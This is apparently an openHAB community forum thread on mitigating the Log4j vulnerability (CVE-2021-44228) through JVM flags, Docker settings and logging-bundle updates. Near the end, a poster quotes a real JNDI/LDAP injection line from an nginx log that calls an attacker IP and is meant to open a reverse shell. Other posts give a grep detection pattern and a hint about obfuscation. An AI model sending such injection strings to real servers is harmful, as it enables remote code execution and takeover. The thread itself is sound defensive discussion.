Log4j vulnerability

In the end it’s just logging that would break temporarily, someone would (assuming that is even used in OH) end up with some broken strings in the logs (I haven’t yet). Better than someone ending up with random code being executed on their server.

I am also hoping that a new karaf version is released in time with a fix for this, but if it isn’t then it’s up to Kai to decide if it’s better to risk some incorrectly logged messages, or if it’s better to use this workaround or if it’s better to wait for a new Karaf version. And I am sure however the decision will be, someone will be unhappy with it :wink:

2 Likes

Sorry guys, I was away for a few hours.

Yes, indeed - sorry for that.

I’m summing up the workaround that can and should be used until an updated version is available. A decision was made that the release on December 20th will include a fix for this and at this point it is not planned to backport this or release an unplanned update (see Mitigate potential Remote-Code-Execution caused by CVE-2021-44228 by Flole998 · Pull Request #1343 · openhab/openhab-distro · GitHub on how/why that decision was made).

@Kai These are the mitigation instructions I wanted to write for the announcement. So all that’s left is a little introduction on why this is necessary at all. I have tested all 4 methods that I described here myself on openHAB 3.1.0 and they are all working as expected.

For those who want to mitigate the issue right now without updating I have written instructions down (including a simple test to see if it worked at the end of this post): Depending on which Operating System and installation method you are using there are 4 ways to use the workaround:

Linux
These instructions apply if on your system the file /etc/default/openhab exists, or if you are using openHAB 2 and the file /etc/default/openhab2 exists. If it doesn’t please skip this until the Linux (“portable” method)-section.

In order to mitigate the issue you need to add

-Dlog4j2.formatMsgNoLookups=true

to EXTRA_JAVA_OPTS in /etc/default/openhab . If you are still on openHAB 2.x then that file would be /etc/default/openhab2 .

For example:

EXTRA_JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" 

If you already have other options in there, you can separate it with a space and add it to the end like this

EXTRA_JAVA_OPTS="-Duser.timezone=Europe/Berlin -Dlog4j2.formatMsgNoLookups=true" 

After that restart openHAB and you are done.

Linux (“portable” Method)

In your start.sh or start_debug.sh add this line

export JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"

right above

exec "${RUNTIME}/bin/karaf" "${@}"

After that restart your openHAB instance.

Windows (not installed as service)
If you are using the start.bat file or start_debug.bat file then you need to add

set EXTRA_JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

in the start.bat or start_debug.bat file right above the

"%RUNTIME%\bin\karaf.bat" %*

line.

After that restart your openHAB instance.

Windows (installed as service)

If you are running openHAB using the service-wrapper then you need to add to your openHAB-wrapper.conf

wrapper.java.additional.XX=-Dlog4j2.formatMsgNoLookups=true

where XX is the next available number in the sequence of lines. So if you have

# Java Parameters
wrapper.java.additional.1=-Dkaraf.home="%KARAF_HOME%"
wrapper.java.additional.2=-Dkaraf.base="%KARAF_BASE%"
wrapper.java.additional.3=-Dkaraf.data="%KARAF_DATA%"
wrapper.java.additional.4=-Dkaraf.etc="%KARAF_ETC%"
wrapper.java.additional.5=-Dcom.sun.management.jmxremote
wrapper.java.additional.6=-Dkaraf.startLocalConsole=false
wrapper.java.additional.7=-Dkaraf.startRemoteShell=true
wrapper.java.additional.8=-Dopenhab.home="%OPENHAB_HOME%"
wrapper.java.additional.9=-Dopenhab.conf="%OPENHAB_HOME%\conf"
wrapper.java.additional.10=-Dopenhab.runtime="%OPENHAB_HOME%\runtime"
wrapper.java.additional.11=-Dopenhab.userdata="%OPENHAB_HOME%\userdata"
wrapper.java.additional.12=-Dopenhab.logdir="%OPENHAB_USERDATA%\logs"
wrapper.java.additional.13=-Dfelix.cm.dir="%OPENHAB_HOME%\userdata\config"
wrapper.java.additional.14=-Dorg.osgi.service.http.port=8080
wrapper.java.additional.15=-Dorg.osgi.service.http.port.secure=8443
wrapper.java.additional.16=-Djava.util.logging.config.file="%KARAF_ETC%\java.util.logging.properties"
wrapper.java.additional.17=-Dkaraf.logs="%OPENHAB_LOGDIR%"
wrapper.java.additional.18=-Dfile.encoding=UTF-8

the next available number would be 19 so you just add

wrapper.java.additional.19=-Dlog4j2.formatMsgNoLookups=true

After that restart your openHAB instance.

How to check if it worked

The easiest way to verify if that worked is to use the karaf command

system:property log4j2.formatMsgNoLookups

if it says anything other than “true”, it did not work. If it says “true” then it worked.

15 Likes

Will there be a security advisory as discussed in Security Overview · openhab/openhab-core · GitHub?

I also wonder if this kind of public detailed discussion of security vulnerabilities is the way we want to report and resolve security issues in the future…

This is not to downplay efforts by @Flole, I personally thank you for testing the workaround and giving such clear guidance to mitigate the issue, very much appreciated.

Many thanks for the excellent summary/preparation @Flole!
I’ll see to make an announcement post with this later today.

@ssalonen I will create an official advisory as soon as we have a fixed version (i.e. with the 3.2 release).
In general, we discuss security issues in private (note that we have security@openhab.org as an address to report issues). In this case here, the vulnerability was public already and quite easy for everyone to check that openHAB is concerned as well. So I think it was ok to also publicly discuss the mitigation strategy, especially as we didn’t talk about any confidential/hidden workarounds.

3 Likes

When using the openHAB Docker container, you can apply the quick fix by adding the property to the EXTRA_JAVA_OPTS environment variable.

Below are some examples. :slight_smile:

Command line

docker run \
  --name openhab \
  --net=host \
  -v /etc/localtime:/etc/localtime:ro \
  -v /etc/timezone:/etc/timezone:ro \
  -v openhab_addons:/openhab/addons \
  -v openhab_conf:/openhab/conf \
  -v openhab_userdata:/openhab/userdata \
  -e "EXTRA_JAVA_OPTS=-Duser.timezone=Europe/Berlin -Dlog4j2.formatMsgNoLookups=true" \
  -d \
  --restart=always \
  openhab/openhab:3.1.0

Docker compose file

version: '2.2'

services:
  openhab:
    image: "openhab/openhab:3.1.0"
    restart: always
    network_mode: host
    volumes:
      - "/etc/localtime:/etc/localtime:ro"
      - "/etc/timezone:/etc/timezone:ro"
      - "./openhab_addons:/openhab/addons"
      - "./openhab_conf:/openhab/conf"
      - "./openhab_userdata:/openhab/userdata"
    environment:
      OPENHAB_HTTP_PORT: "8080"
      OPENHAB_HTTPS_PORT: "8443"
      EXTRA_JAVA_OPTS: "-Duser.timezone=Europe/Berlin -Dlog4j2.formatMsgNoLookups=true"

Portainer

Synology DSM

11 Likes

Thx much for the quick explanation and fix.

Even shorter version (for 3.0.x):

karaf@root> la -l|grep -i pax.logging
  5 | Active   |   8 | 1.11.6                  | mvn:org.ops4j.pax.logging/pax-logging-api/1.11.6
  6 | Active   |   8 | 1.11.6                  | mvn:org.ops4j.pax.logging/pax-logging-log4j2/1.11.6
karaf@root> update 5 https://repo1.maven.org/maven2/org/ops4j/pax/logging/pax-logging-api/1.11.11/pax-logging-api-1.11.11.jar
karaf@root> update 6 https://repo1.maven.org/maven2/org/ops4j/pax/logging/pax-logging-log4j2/1.11.11/pax-logging-log4j2-1.11.11.jar

For 3.1.x:

karaf@root> la -l|grep -i pax.logging
  5 | Active   |   8 | 2.0.9                  | mvn:org.ops4j.pax.logging/pax-logging-api/2.0.9
  6 | Active   |   8 | 2.0.9                  | mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.9
karaf@root> update 5 https://repo1.maven.org/maven2/org/ops4j/pax/logging/pax-logging-api/2.0.12/pax-logging-api-2.0.12.jar
karaf@root> update 6 https://repo1.maven.org/maven2/org/ops4j/pax/logging/pax-logging-log4j2/2.0.12/pax-logging-log4j2-2.0.12.jar

Then restart whole thing. Please note that during update you can see log entries in console. Once second update command is performed and restart is conducted everything should be back to normal. This fix will work as long as you don’t do “clean”. It updates currently running distribution as long as you do not remove caches.
You can’t use addons folder to override distribution files, but you can copy new files into:

$KARAF_HOME/system/org/ops4j/pax/logging/pax-logging-api/1.11.6/pax-logging-api-1.11.6.jar
$KARAF_HOME/system/org/ops4j/pax/logging/pax-logging-api/1.11.6/pax-logging-api-1.11.6.jar

(for OH with package manager under linux $KARAF_HOME will probably be /usr/share/openhab/ or similar, for OH 3.1 pax is in version 2.0.9, so you override these files with 2.0.12).

If you want to fix issue for containers you can do that by mapping downloaded files on host to container filesystem (for OH 3.1):

docker run ... \
    -v $PWD/pax-logging-api-2.0.12.jar:/openhab/runtime/system/org/ops4j/pax/logging/pax-logging-api/2.0.9/pax-logging-api-2.0.9.jar \
    -v $PWD/pax-logging-log4j2-2.0.12.jar:/openhab/runtime/system/org/ops4j/pax/logging/pax-logging-log4j2/2.0.9/pax-logging-log4j2-2.0.9.jar
    ....

Then, when you go into shell you can do headers 5|grep Bundle-Version. It should display 2.0.12 despite of 2.0.9 in URI.

Does anyone of you know if this vulnerability could have been exploted when Openhab was exposed to the internet through the Openhab cloud or were such requests never forwarded to the Openhab instance from the cloud instance?

Hello @Flole,

How can we cross-check the solution on Linux

I am pretty sure that it can be exploited over the cloud, although I haven’t verified that.

At least I would expect that it can be exploited with the proper cloud credentials (as that would probably allow sending malicious content). Without access to the cloud account: IMO very unlikely.

1 Like

That’s described at the bottom of the post as “How to check if it worked” (@Kai maybe you could make that larger aswell, like this it looks like it’s specific for/part of the last section)

1 Like

Just checked my nginx logs and found this:

195.54.160.149 - - [14/Dec/2021:02:30:15 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64

This is just a snippet of the complete entry. I cut off the payload which is a base64 encoded command to get a reverse shell …

I would have expected the same that OH cloud is only sending/forwarding requests to OH if the credentials are correct, but I didn’t have a look at the code.

Can you please let us know how to search the log for an attack attempt?

I just search for the string ldap in the access.log file of the reverse proxy. E.g.:

grep ldap /var/log/nginx/access.log

But: since NGINX itself is not vulnerable (at least if you didn’t install some fancy extensions), the request will not hurt anyone.

yes, that is correct as long as the nginx configuration is correct and the request is not forwarded to the OH instance.

If you use nginx to forward to openHAB that’s another story though :wink:

I can tell you though that at least one attack vector exists that can not be found in nginx logs. Also neither jndi nor ldap are terms that could be used to detect this. There can be additional obfuscation applied like {{lower:J}ndi://} (syntax is not 100% correct on purpose, but you should get the idea). There is some tool that seems to detect such obfuscation attempts aswell, I forgot how it’s called but it’s on GitHub.

1 Like